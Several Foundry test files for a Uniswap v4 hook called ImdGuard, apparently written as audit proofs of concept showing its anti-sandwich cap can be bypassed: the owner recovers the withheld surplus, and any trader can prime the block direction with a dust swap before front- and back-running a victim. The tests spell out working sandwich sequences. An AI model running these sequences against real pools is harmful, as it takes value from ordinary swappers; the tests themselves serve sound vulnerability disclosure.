// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdGuard} from "src/ImdGuard.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

contract ArbSysStub {
    uint256 public arbBlockNumber = 100;
}

contract ProtectionToOwnerTest is Test {
    address constant OWNER = 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1;
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;

    IPoolManager manager;
    ImdGuard hook;
    PoolSwapTest router;
    PoolModifyLiquidityTest lp;
    PoolKey key;

    function setUp() public {
        vm.deal(address(this), 1_000_000 ether);
        manager = IPoolManager(address(new PoolManager(address(this))));
        vm.etch(IMD, address(new MockERC20("IMD", "IMD", 18)).code);
        MockERC20(IMD).mint(address(this), 1_000_000 ether);
        vm.etch(address(100), address(new ArbSysStub()).code);
        vm.store(address(100), bytes32(0), bytes32(uint256(100)));

        bytes memory init = abi.encodePacked(type(ImdGuard).creationCode, abi.encode(manager, OWNER));
        bytes32 h = keccak256(init);
        bytes32 salt;
        for (uint256 i;; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(a) & 0x3fff == 0x88) { salt = bytes32(i); break; }
        }
        hook = new ImdGuard{salt: salt}(manager, OWNER);

        router = new PoolSwapTest(manager);
        lp = new PoolModifyLiquidityTest(manager);
        MockERC20(IMD).approve(address(router), type(uint256).max);
        MockERC20(IMD).approve(address(lp), type(uint256).max);
        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(IMD), 3000, 60, IHooks(address(hook)));
        manager.initialize(key, uint160(1 << 96));
        lp.modifyLiquidity{value: 5000 ether}(
            key, IPoolManager.ModifyLiquidityParams(-887220, 887220, 1000 ether, bytes32(0)), bytes("")
        );
    }

    /// Brief: the hook takes 1.0% of the ETH side and sends it to the owner wallet, nothing else.
    /// A counter-direction sell in the same block sends the whole opening-price surplus to the owner too.
    function test_recipientReceivesOnlyTheOnePercentFee() public {
        // First swap of the block: a large buy moves the price up.
        router.swap{value: 100 ether}(
            key, IPoolManager.SwapParams(true, -100 ether, TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false), bytes("")
        );
        uint256 ownerBefore = OWNER.balance;
        uint256 managerBefore = address(manager).balance;
        // Counter-direction sell of 1 IMD in the same block.
        router.swap(
            key, IPoolManager.SwapParams(false, -1 ether, TickMath.MAX_SQRT_PRICE - 1),
            PoolSwapTest.TestSettings(false, false), bytes("")
        );
        uint256 ethSide = managerBefore - address(manager).balance; // ETH that left the pool for this swap
        uint256 ownerGain = OWNER.balance - ownerBefore;
        emit log_named_uint("ETH leaving pool for the sell", ethSide);
        emit log_named_uint("ETH paid to owner wallet   ", ownerGain);
        assertLe(ownerGain, ethSide / 100 + 1, "owner wallet received more than the 1% hook fee");
    }


    /// The anti-sandwich cap is void for the owner: the surplus it withholds is paid back to the owner.
    /// Owner front-runs a victim buy, then sells back in the same block; profit exceeds the victim's 1% fee.
    function test_ownerCannotSandwichThroughProtectionRefund() public {
        vm.deal(OWNER, 1000 ether);
        uint256 start = OWNER.balance;
        vm.startPrank(OWNER);
        MockERC20(IMD).approve(address(router), type(uint256).max);
        router.swap{value: 200 ether}(
            key, IPoolManager.SwapParams(true, -200 ether, TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false), bytes("")
        );
        vm.stopPrank();
        // victim buy, same direction as the block's first swap, so uncapped
        router.swap{value: 100 ether}(
            key, IPoolManager.SwapParams(true, -100 ether, TickMath.MIN_SQRT_PRICE + 1),
            PoolSwapTest.TestSettings(false, false), bytes("")
        );
        vm.startPrank(OWNER);
        uint256 bag = MockERC20(IMD).balanceOf(OWNER);
        router.swap(
            key, IPoolManager.SwapParams(false, -int256(bag), TickMath.MAX_SQRT_PRICE - 1),
            PoolSwapTest.TestSettings(false, false), bytes("")
        );
        vm.stopPrank();
        uint256 end_ = OWNER.balance;
        emit log_named_int("owner net ETH after sandwich", int256(end_) - int256(start));
        // the victim's legitimate 1% fee is 1 ETH; anything above it is sandwich profit the hook should prevent
        assertLe(end_, start + 1 ether, "owner profits from sandwiching a protected swapper");
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdGuard} from "src/ImdGuard.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

contract ArbSysStub {
    uint256 public arbBlockNumber = 100;
}

contract DustBypassTest is Test {
    address constant OWNER = 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1;
    address constant MEV = address(0xBEEF);
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;

    IPoolManager manager;
    ImdGuard hook;
    PoolSwapTest router;
    PoolModifyLiquidityTest lp;
    PoolKey key;

    function setUp() public {
        vm.deal(address(this), 1_000_000 ether);
        manager = IPoolManager(address(new PoolManager(address(this))));
        vm.etch(IMD, address(new MockERC20("IMD", "IMD", 18)).code);
        MockERC20(IMD).mint(address(this), 1_000_000 ether);
        vm.etch(address(100), address(new ArbSysStub()).code);
        vm.store(address(100), bytes32(0), bytes32(uint256(100)));

        bytes memory init = abi.encodePacked(type(ImdGuard).creationCode, abi.encode(manager, OWNER));
        bytes32 h = keccak256(init);
        bytes32 salt;
        for (uint256 i;; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), h)))));
            if (uint160(a) & 0x3fff == 0x88) { salt = bytes32(i); break; }
        }
        hook = new ImdGuard{salt: salt}(manager, OWNER);

        router = new PoolSwapTest(manager);
        lp = new PoolModifyLiquidityTest(manager);
        MockERC20(IMD).approve(address(router), type(uint256).max);
        MockERC20(IMD).approve(address(lp), type(uint256).max);
        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(IMD), 3000, 60, IHooks(address(hook)));
        manager.initialize(key, uint160(1 << 96));
        lp.modifyLiquidity{value: 5000 ether}(
            key, IPoolManager.ModifyLiquidityParams(-887220, 887220, 1000 ether, bytes32(0)), bytes("")
        );
    }


    function _sw(bool buy, int256 amt) internal {
        router.swap{value: buy ? uint256(-amt) : 0}(
            key, IPoolManager.SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),
            PoolSwapTest.TestSettings(false, false), bytes("")
        );
    }

    /// A stranger opens the block with a 1-wei-IMD sell, so the later back-run sell is "same direction" and uncapped.
    function test_dustFirstSwapDisablesSandwichCap() public {
        vm.deal(MEV, 1000 ether);
        vm.prank(address(this));
        MockERC20(IMD).transfer(MEV, 1 ether);
        vm.startPrank(MEV);
        MockERC20(IMD).approve(address(router), type(uint256).max);
        uint256 start = MEV.balance;
        _sw(false, -1e6); // dust sell sets the block direction to "sell"
        _sw(true, -200 ether); // front-run buy
        vm.stopPrank();
        _sw(true, -100 ether); // victim buy, opposite to first swap, but price already above opening
        vm.startPrank(MEV);
        _sw(false, -int256(MockERC20(IMD).balanceOf(MEV) - 1 ether + 1e6)); // back-run sell: same direction as dust, uncapped
        vm.stopPrank();
        emit log_named_int("stranger net ETH after sandwich", int256(MEV.balance) - int256(start));
        assertLe(MEV.balance, start, "stranger profits from sandwiching a swapper in one block");
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdGuard} from "src/ImdGuard.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

contract ArbSysStub {
    uint256 public arbBlockNumber = 100;
}

/// @notice The anti-sandwich surplus is paid to the fee recipient (= owner). The owner can therefore
/// sandwich a victim in one block and recover both the 1% fees and the opening-price "protection",
/// keeping the victim's slippage as profit. With the AntiSandwichHook pattern (surplus donated to the
/// pool's LPs) the back-run is capped at the opening price and the sandwich loses money.
contract OwnerSandwichProof is Test {
    address constant OWNER = 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1;
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    address constant VICTIM = address(0xB1C7);

    IPoolManager manager;
    ImdGuard hook;
    PoolSwapTest router;
    PoolKey key;
    MockERC20 token;

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        vm.etch(IMD, address(new MockERC20("IMD", "IMD", 18)).code);
        token = MockERC20(IMD);
        vm.etch(address(100), address(new ArbSysStub()).code);
        vm.store(address(100), bytes32(0), bytes32(uint256(100)));
        bytes memory code = abi.encodePacked(type(ImdGuard).creationCode, abi.encode(manager, OWNER));
        uint160 flags = Hooks.BEFORE_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG;
        bytes32 salt;
        for (uint256 i;; ++i) {
            address a = vm.computeCreate2Address(bytes32(i), keccak256(code), address(this));
            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags) {
                salt = bytes32(i);
                break;
            }
        }
        hook = new ImdGuard{salt: salt}(manager, OWNER);
        router = new PoolSwapTest(manager);
        PoolModifyLiquidityTest lr = new PoolModifyLiquidityTest(manager);
        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(IMD), 3000, 60, IHooks(address(hook)));
        manager.initialize(key, uint160(1) << 96);
        token.mint(address(this), 10_000 ether);
        token.approve(address(lr), type(uint256).max);
        vm.deal(address(this), 10_000 ether);
        lr.modifyLiquidity{value: 5000 ether}(
            key, IPoolManager.ModifyLiquidityParams(-887220, 887220, 1000 ether, bytes32(0)), bytes("")
        );
        vm.deal(OWNER, 1000 ether);
        vm.deal(VICTIM, 1000 ether);
        vm.prank(OWNER);
        token.approve(address(router), type(uint256).max);
    }

    function _swap(address who, bool buy, int256 amount) internal returns (BalanceDelta) {
        vm.prank(who);
        return router.swap{value: buy ? uint256(-amount) : 0}(
            key,
            IPoolManager.SwapParams(buy, amount, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),
            PoolSwapTest.TestSettings(false, false),
            bytes("")
        );
    }

    function test_ownerSandwichMustNotBeProfitable() public {
        uint256 ownerEthBefore = OWNER.balance;
        // Same L2 block throughout: front-run buy, victim buy, back-run sell.
        BalanceDelta front = _swap(OWNER, true, -100 ether);
        _swap(VICTIM, true, -100 ether);
        _swap(OWNER, false, -int256(front.amount1()));
        assertEq(token.balanceOf(OWNER), 0, "owner holds no IMD after the round trip");
        // Expected: the back-run is capped at the block's opening price, so the round trip loses ETH.
        // Actual: the fee and the protection surplus are paid back to the owner, so the owner profits.
        // The victim's own 1% fee (1 ether) is the only ETH the owner may legitimately gain.
        assertLe(OWNER.balance, ownerEthBefore + 1 ether, "owner sandwich is profitable");
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdGuard} from "src/ImdGuard.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

contract ArbSysStub {
    uint256 public arbBlockNumber = 100;
}

/// @notice Only swaps against the block's first direction are capped. Any searcher can choose that
/// direction with a dust swap before front-running, leaving the back-run uncapped.
contract PrimedDirectionSandwichProof is Test {
    address constant OWNER = 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1;
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    address constant VICTIM = address(0xB1C7);

    IPoolManager manager;
    ImdGuard hook;
    PoolSwapTest router;
    PoolKey key;
    MockERC20 token;

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        vm.etch(IMD, address(new MockERC20("IMD", "IMD", 18)).code);
        token = MockERC20(IMD);
        vm.etch(address(100), address(new ArbSysStub()).code);
        vm.store(address(100), bytes32(0), bytes32(uint256(100)));
        bytes memory code = abi.encodePacked(type(ImdGuard).creationCode, abi.encode(manager, OWNER));
        uint160 flags = Hooks.BEFORE_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG;
        bytes32 salt;
        for (uint256 i;; ++i) {
            address a = vm.computeCreate2Address(bytes32(i), keccak256(code), address(this));
            if (uint160(a) & Hooks.ALL_HOOK_MASK == flags) {
                salt = bytes32(i);
                break;
            }
        }
        hook = new ImdGuard{salt: salt}(manager, OWNER);
        router = new PoolSwapTest(manager);
        PoolModifyLiquidityTest lr = new PoolModifyLiquidityTest(manager);
        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(IMD), 3000, 60, IHooks(address(hook)));
        manager.initialize(key, uint160(1) << 96);
        token.mint(address(this), 10_000 ether);
        token.approve(address(lr), type(uint256).max);
        vm.deal(address(this), 10_000 ether);
        lr.modifyLiquidity{value: 5000 ether}(
            key, IPoolManager.ModifyLiquidityParams(-887220, 887220, 1000 ether, bytes32(0)), bytes("")
        );
        vm.deal(OWNER, 1000 ether);
        vm.deal(VICTIM, 1000 ether);
        vm.prank(OWNER);
        token.approve(address(router), type(uint256).max);
    }

    function _swap(address who, bool buy, int256 amount) internal returns (BalanceDelta) {
        vm.prank(who);
        return router.swap{value: buy ? uint256(-amount) : 0}(
            key,
            IPoolManager.SwapParams(buy, amount, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),
            PoolSwapTest.TestSettings(false, false),
            bytes("")
        );
    }

    function test_primedDirectionSandwichMustNotBeProfitable() public {
        address attacker = address(0xA77);
        vm.deal(attacker, 1000 ether);
        token.mint(attacker, 0.001 ether);
        vm.prank(attacker);
        token.approve(address(router), type(uint256).max);
        uint256 ethBefore = attacker.balance;
        // Same L2 block. A dust sell makes "sell" the block's first direction, so the back-run sell
        // below is a same-direction swap and is never capped at the opening price.
        _swap(attacker, false, -0.001 ether);
        BalanceDelta front = _swap(attacker, true, -100 ether);
        _swap(VICTIM, true, -100 ether);
        _swap(attacker, false, -int256(front.amount1()));
        // Expected: a sandwich around a protected swapper does not profit. Actual: about +14.8 ETH.
        assertLe(attacker.balance, ethBefore, "primed sandwich is profitable");
    }

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ImdGuard} from "src/ImdGuard.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

/// @dev Minimal stand-in for the ArbSys precompile at address(100).
contract ArbSysStub {
    uint256 public arbBlockNumber;

    function set(uint256 n) external {
        arbBlockNumber = n;
    }
}

/// @notice An unprivileged trader sets the block's "first direction" with a dust sell, then
/// front-runs and back-runs a victim buy inside the same block. The back-run sell is in the
/// first swap's direction, so the opening-price cap never applies and the sandwich profits.
contract DirectionSandwichTest is Test {
    address internal constant OWNER = 0x5Bff2a2FEcD1d6152676813b21346238733bEAB1;
    address internal constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    uint160 internal constant Q96 = 1 << 96;

    IPoolManager internal manager;
    ImdGuard internal hook;
    PoolSwapTest internal router;
    PoolModifyLiquidityTest internal liquidityRouter;
    MockERC20 internal token;
    ArbSysStub internal arb;
    PoolKey internal key;

    address internal attacker = address(0xA77AC);
    address internal victim = address(0xB1C);

    receive() external payable {}

    function setUp() public {
        vm.chainId(4663);
        vm.deal(address(this), 100_000 ether);
        manager = IPoolManager(address(new PoolManager(address(this))));
        MockERC20 implementation = new MockERC20("Mock IMD", "IMD", 18);
        vm.etch(IMD, address(implementation).code);
        token = MockERC20(IMD);
        ArbSysStub arbImpl = new ArbSysStub();
        vm.etch(address(100), address(arbImpl).code);
        arb = ArbSysStub(address(100));
        arb.set(100);

        hook = _deployHook();
        router = new PoolSwapTest(manager);
        liquidityRouter = new PoolModifyLiquidityTest(manager);
        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(IMD), 3000, 60, IHooks(address(hook)));
        manager.initialize(key, Q96);

        token.mint(address(this), 10_000 ether);
        token.approve(address(liquidityRouter), type(uint256).max);
        liquidityRouter.modifyLiquidity{value: 2000 ether}(
            key, IPoolManager.ModifyLiquidityParams(-887220, 887220, 1000 ether, bytes32(0)), bytes("")
        );

        // Attacker holds ETH plus a little IMD for the dust sell. Victim holds ETH.
        vm.deal(attacker, 100 ether);
        token.mint(attacker, 1 ether);
        vm.deal(victim, 500 ether);
        vm.prank(attacker);
        token.approve(address(router), type(uint256).max);
        vm.prank(victim);
        token.approve(address(router), type(uint256).max);
    }

    function _deployHook() internal returns (ImdGuard deployed) {
        bytes32 initHash = keccak256(abi.encodePacked(type(ImdGuard).creationCode, abi.encode(manager, OWNER)));
        for (uint256 i; i < 1_000_000; ++i) {
            bytes32 salt = bytes32(i);
            address predicted =
                address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, initHash)))));
            if ((uint160(predicted) & 0x3fff) == 0x88) {
                deployed = new ImdGuard{salt: salt}(manager, OWNER);
                assertEq(address(deployed), predicted);
                return deployed;
            }
        }
        revert("no salt");
    }

    function _swap(address who, bool buy, int256 amount) internal returns (BalanceDelta d) {
        vm.prank(who);
        d = router.swap{value: buy ? uint256(-amount) : 0}(
            key,
            IPoolManager.SwapParams(buy, amount, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1),
            PoolSwapTest.TestSettings(false, false),
            bytes("")
        );
    }

    function test_dustSellThenSandwichBuyerProfitsInsideOneBlock() public {
        uint256 attackerEthStart = attacker.balance;
        uint256 attackerImdStart = token.balanceOf(attacker);

        // 1. Attacker's dust sell is the block's first swap: direction = sell, opening price = 1:1.
        _swap(attacker, false, -1e12);
        (, uint160 opening, bool firstZeroForOne) = hook.checkpoints(key.toId());
        assertEq(opening, Q96);
        assertFalse(firstZeroForOne, "first direction is sell");

        // 2. Attacker front-runs with a 40 ETH buy (reverse of the dust sell, capped, but the cap
        //    cannot bind because the AMM price is already at the opening price).
        BalanceDelta front = _swap(attacker, true, -40 ether);
        uint256 imdBought = uint256(uint128(front.amount1()));

        // 3. Victim buys 300 ETH and pushes the price up.
        _swap(victim, true, -300 ether);

        // 4. Attacker back-runs by selling what it bought. This is the first swap's direction, so
        //    capPrice == 0 and the sell executes at the full post-victim price.
        _swap(attacker, false, -int256(imdBought));

        assertEq(token.balanceOf(attacker), attackerImdStart - 1e12, "attacker is flat in IMD again");
        emit log_named_uint("attacker ETH start", attackerEthStart);
        emit log_named_uint("attacker ETH end", attacker.balance);
        // Expected: an in-block sandwich around a protected swapper must not profit after the 1% hook
        // fee on both legs. Actual: the attacker ends with more ETH than it started with.
        assertLe(attacker.balance, attackerEthStart, "in-block sandwich must not be profitable");
    }
}